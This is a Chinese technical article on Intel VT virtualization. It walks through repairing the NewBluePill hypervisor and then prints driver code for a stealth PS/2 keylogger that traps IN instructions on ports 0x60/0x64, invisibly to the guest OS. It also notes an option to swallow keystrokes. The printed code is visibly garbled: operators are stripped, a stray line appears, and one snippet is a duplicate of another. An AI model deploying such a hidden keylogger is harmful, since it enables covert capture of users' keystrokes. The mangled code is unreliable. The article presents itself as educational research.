Intel-VT(VirtualizationTechnology,虚拟化技术)的产生是为了解决纯软件虚拟化解决方案在可靠性、安全性和性能上的不足,亦可以认为是硬件虚拟化技术。而近些年,VT在安全领域内也体现出了很重要的研究价值。
应用Intel-VT可以在一台计算机内运行多个操作系统(虚拟机),并可以把当前正在运行的操作系统设置为虚拟机。由于所有虚拟机的行为都受到VMM的监管,所以如果把当前操作系统也当作是虚拟机的话,便能对其进行深度的行为监控。VMCS(VirtualMachineControlSecion,虚拟机控制环境块)中有一些控制字段,用来标示VMM对虚拟机的哪些行为感兴趣,如果将这些字段设置为有效,那么当虚拟机触发执行这些特定指令时,会产生VMEXIT事件,并由GuestOS进入VMM,即从non-root模式切换到root模式,程序执行的流程也随即进入了VMM提供的VmExitHandler例程,在该回调例程中,VMM可以读写GuestOS的所有数据,进行一定的处理后,例程结束,并产生VMENTRY时间使CPU重新陷入non-root模式,GuestOS由此继续执行。如图1所示。
图1
也许上面的叙述有点儿绕舌,我们用一个通俗的比喻来讲,就是VT能实现对指令的“HOOK”,因此VT在安全领域内有着很大的施展空间。本文以键盘记录为例,展示VT的指令监控过程。
搭建调试环境
由于VT相关的指令都需要Ring0权限,所以实现虚拟化核心功能的代码需要封装为驱动程序,并加载到内核里执行,故本文的代码都需要由WDK进行编译。
研究VT最好的学习资料是InvisibleThingsLab在BlackHat大会上发表的开源代码NewBluePill(后文简称NBP),该项目实现了一个基础的虚拟化引擎,且逻辑清晰、体积较小,可谓是麻雀虽小五脏俱全。在网上可以找到该项目的最新版是NewBluePill-0.32-Public,但这个公开的版本存在很多问题,仔细读过其代码后,可以感觉到有很多BUG明显是人为留下的,目的应该是防止伸手党直接用代码去做坏事。不过我们若想深入学习VT,自然要将NBP编译后进行调试,所以首先得把作者挖的坑填了。
1)NBP驱动卸载死机
公开版的驱动只能被加载,一旦卸载驱动,则会造成死机。因为卸载必须在VMM的root模式下进行,而当DriverUnload被调用时,系统仍处于non-root模式,所以必须通过Hypercall的方法陷入VMM,把卸载驱动的任务交给VMM。查看NBP的代码可知,Hypercall实现在hypercall.c文件里,DriverUnload最终会调用到HcMakeHypercall来发起Hypercall陷入VMM,但是VMM内却没有对VMCALL指令产生的VMEXIT作处理,而是直接返回结果,表示VMEXIT已处理完毕,实际上却没有在VMM执行相应的卸载流程,因此系统仍在虚拟机中运行,随后DriverUnload会释放资源,使虚拟机的状态无法维持,进而导致出错死机。弄清楚了原理,我们便明了了,如想让它正常卸载,只需要修改vmxtraps.c里的代码,让它按合适的方法处理Hypercall以便执行VMM层的卸载代码即可。
[vmxtraps.c] ... //为所有VM指令造成的VMExit设置一个无用的处理函数,VMCALL则作为Hypercall 处理 for(i=0;isizeof(TableOfVmxExits)/sizeof(ULONG32);i++){ if(TableOfVmxExits[i]==EXIT_REASON_VMCALL){ if(!NT_SUCCESS(Status=TrInitializeGeneralTrap(Cpu,EXIT_REASON_VMCALL,0, //lengthoftheinstruction,0meanslengthneedtobegetfromvmcslater. VmxDispatchHypercall,Trap))){ _KdPrint((VmxRegisterTraps():FailedtoregisterVmxDispatchHypercallwith status0x%08hX\n,Status)); returnStatus; } }else{ if(!NT_SUCCESS(Status=TrInitializeGeneralTrap(Cpu,TableOfVmxExits[i],0, //lengthoftheinstruction,0meanslengthneedtobegetfromvmcslater. VmxDispatchVmxInstrDummy,Trap))){ _KdPrint((VmxRegisterTraps():FailedtoregisterVmxDispatchVmonwithstatus 0x%08hX\n,Status)); returnStatus; } } TrRegisterTrap(Cpu,Trap); } ...
2)断点触发时死机
一旦开启VMLAUNCH以后,无法在VMM的代码上下断点,比如bpnewbp!VmxVmexitHandler,如果断点被触发的话,虚拟机就失去了响应,Windbg也定在那里不动了。经过实验发现这个问题的源头是NBP的内存隐藏模型,我们只要取缔掉NBP自己的内存管理系统,便可以用Windbg在VMM的代码上下断调试了。
NBP的内存管理主要实现在paging.c里,观察NBP分配内存使用的自定义函数MmAllocatePages,可以看出它首先用ExAllocatePoolWithTag申请内存,然后会对页做一些处理,以实现自己的内存管理。我们将其对内存的多余操作删去,仅让它单纯地对ExAllocatePoolWithTag进行包装(MmAllocateContiguousPages和MmAllocateContiguousPagesSpecifyCache同理)。
[paging.c] ... PVOIDNTAPIMmAllocatePages( ULONGuNumberOfPages, PPHYSICAL_ADDRESSpFirstPagePA ) { PVOIDPageVA; PHYSICAL_ADDRESSPagePA; if(!uNumberOfPages) returnNULL; PageVA =ExAllocatePoolWithTag(NonPagedPool,uNumberOfPages*PAGE_SIZE, ITL_TAG); if(!PageVA) returnNULL; RtlZeroMemory(PageVA,uNumberOfPages*PAGE_SIZE); if(pFirstPagePA) *pFirstPagePA=MmGetPhysicalAddress(PageVA); returnPageVA; } ...
之后要更改VmxSetupVMCS中设置VMCS.CR3的部分,让GuestOS使用当前系统的页目
录指针,而非NBP自己的页目录。
[vmx.c] ... VmxWrite(HOST_CR3,RegGetCr3()); ...
同时删掉HvmSetupGdt函数中映射任务状态段的一句代码:
[vmx.c] ... VmxWrite(HOST_CR3,RegGetCr3()); ...
最后还要把DriverEntry中MmInitManager之类的调用删掉,因为不再使用NBP自己的内存管理系统了,所以卸载时也不需要MmShutdownManager。
经过如上步骤将NBP的内存隐藏取缔后,便能使用Windbg在VMM代码上下断了,如图2所示。
图2
值得一提的是,用Windbg调试VT并不是一个靠谱的方法,因为Windbg的实现原理是与Windows内核调试引擎交互,它的实现依赖于系统代码,而启动VT后,系统已经进入了non-root模式,成为了虚拟机,它本身的代码可能也会受到影响。但经过测试,用Windbg的确可以在有限的情况下调试NBP,并解决诸多问题,效率远高于DbgPrint调试法。另外,如果要在虚拟机里调试VT,则必须使用VMWare10及以上版本,并在CPU选项中勾选“虚拟化IntelVt-x/EPT或AMD-V/RVI(V)”,如图3所示。
图3
以上工作做完后,便可以打开WDK控制台,切换到NBP目录,执行build_code来编译NBP了,如图4所示。
图4
键盘记录
准备工作做充分了,下面便展示一个应用Intel-VT实现的键盘记录,其实现依赖于NBP的VMM引擎。
1)实现原理
根据键盘输入的原理可知,PS/2键盘8042控制芯片是从IO端口中读出按键扫描码的,在x86体系下,对外部IO端口的读写操作是通过in/out指令来完成的,而这两个指令可以由VMM所监控。因此我们可以更改VMCS里的字段,设置在执行in指令时触发VMEXIT,并将执行权交给VMM,VMM判断所读取的端口是否为与键盘IO相关的0x60或0x64号端口,如果是,则读出其中的内容,便成功地得到了按键信息,处理完毕后产生VMENTRY返回GuestOS,再让系统正常执行即可,整个过程对GuestOS来说都是透明的。
2)具体操作
首先需要通过CPU提供的VMCLEAR、VMPTRLD、VMREAD、VMWRITE等指令对VMCS的标志进行设置(在NBP中被封装为VmxRead、VmxWrite等函数),表明要对IO指令进行监控。
[vmx.c] Interceptions=0; Interceptions|=CPU_BASED_ACTIVATE_IO_BITMAP; VmxWrite(CPU_BASED_VM_EXEC_CONTROL,VmxAdjustControls(Interceptions, MSR_IA32_VMX_PROCBASED_CTLS)); VMCS初始化完毕后,再进行一系列的设置后对每个CPU执行VMLAUNCH指令开启虚拟化。 //__asmBYTE0Fh,01h,0C2h VmxLaunch(); (__asmVMLAUNCH) staticBOOLEANNTAPIVmxDispatchIoAccess( PCPUCpu, PGUEST_REGSGuestRegs, PNBP_TRAPTrap, BOOLEANWillBeAlsoHandledByGuestHv ) { ULONG32exit_qualification; ULONG32port,size; ULONG32dir,df,vm86; staticULONG32ps2mode=0x1; ULONG64inst_len; if(!Cpu||!GuestRegs) returnTRUE; inst_len=VmxRead(VM_EXIT_INSTRUCTION_LEN); if(Trap-General.RipDelta==0) Trap-General.RipDelta=inst_len; exit_qualification=(ULONG32)VmxRead(EXIT_QUALIFICATION); init_scancode(); //IO端口 if(CmIsBitSet(exit_qualification,6)) port=(exit_qualification16)0xFFFF; else port=((ULONG32)(GuestRegs-rdx))0xFFFF; //_KdPrint((IO0x%xIN0x%x%c\n,port,GuestRegs-rax,scancode[GuestRegs-rax 0xff])); size=(exit_qualification7)+1; dir=CmIsBitSet(exit_qualification,3); if(dir){ /*direction*/ //输入IN GuestRegs-rax=CmIOIn(port); if(port==0x64){ //读取状态字,判断是否有按键消息 if(GuestRegs-rax0x20) ps2mode=0x1; //鼠标事件 else ps2mode=0; }elseif(port==0x60ps2mode==0x0(GuestRegs-rax0xFF)0x80){ KeyUp=KeyDown+0x80 //如果键盘按下,读出扫描码 _KdPrint((IOINPort:%xScancode:%xChar:%c\n,port,GuestRegs-rax 0xFF,scancode[GuestRegs-rax0xFF])); //GuestRegs-rax=0;//拦截按键,不直接返回给Guest #ifdef_X86_ //Cpu-Vmx.GuestVMCS.GUEST_ES_SELECTOR=0; //键盘事件 // #endif } }else{ //输出OUT if(size==1) CmIOOutB(port,(ULONG32)GuestRegs-rax); if(size==2) CmIOOutW(port,(ULONG32)GuestRegs-rax); if(size==4) CmIOOutD(port,(ULONG32)GuestRegs-rax); _KdPrint((IO0x%xOUT0x%xsize0x%x\n,port,GuestRegs-rax,size)); } returnTRUE; }
加载驱动后,在键盘上输入KEYTEST,效果如图5所示。
图5
本文的开发系统是Win7x64,截图上的测试系统(虚拟机)是Win2k3x64。实际代码在WindowsXP、Windows2003和Windows7上都测试通过,可以正常运行,且支持x86/x64两种架构。因为这个键盘记录的原理是拦截IN指令,所以只对PS/2键盘有效。USB键盘则不能用这种方法,但仍可以采用另一种思路来实现:用VT拦截键盘中断并处理,但其中细节相对复杂,本文主要目的在于介绍VT的使用方法并以NBP做演示,故尚未对USB键盘有深入研究。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。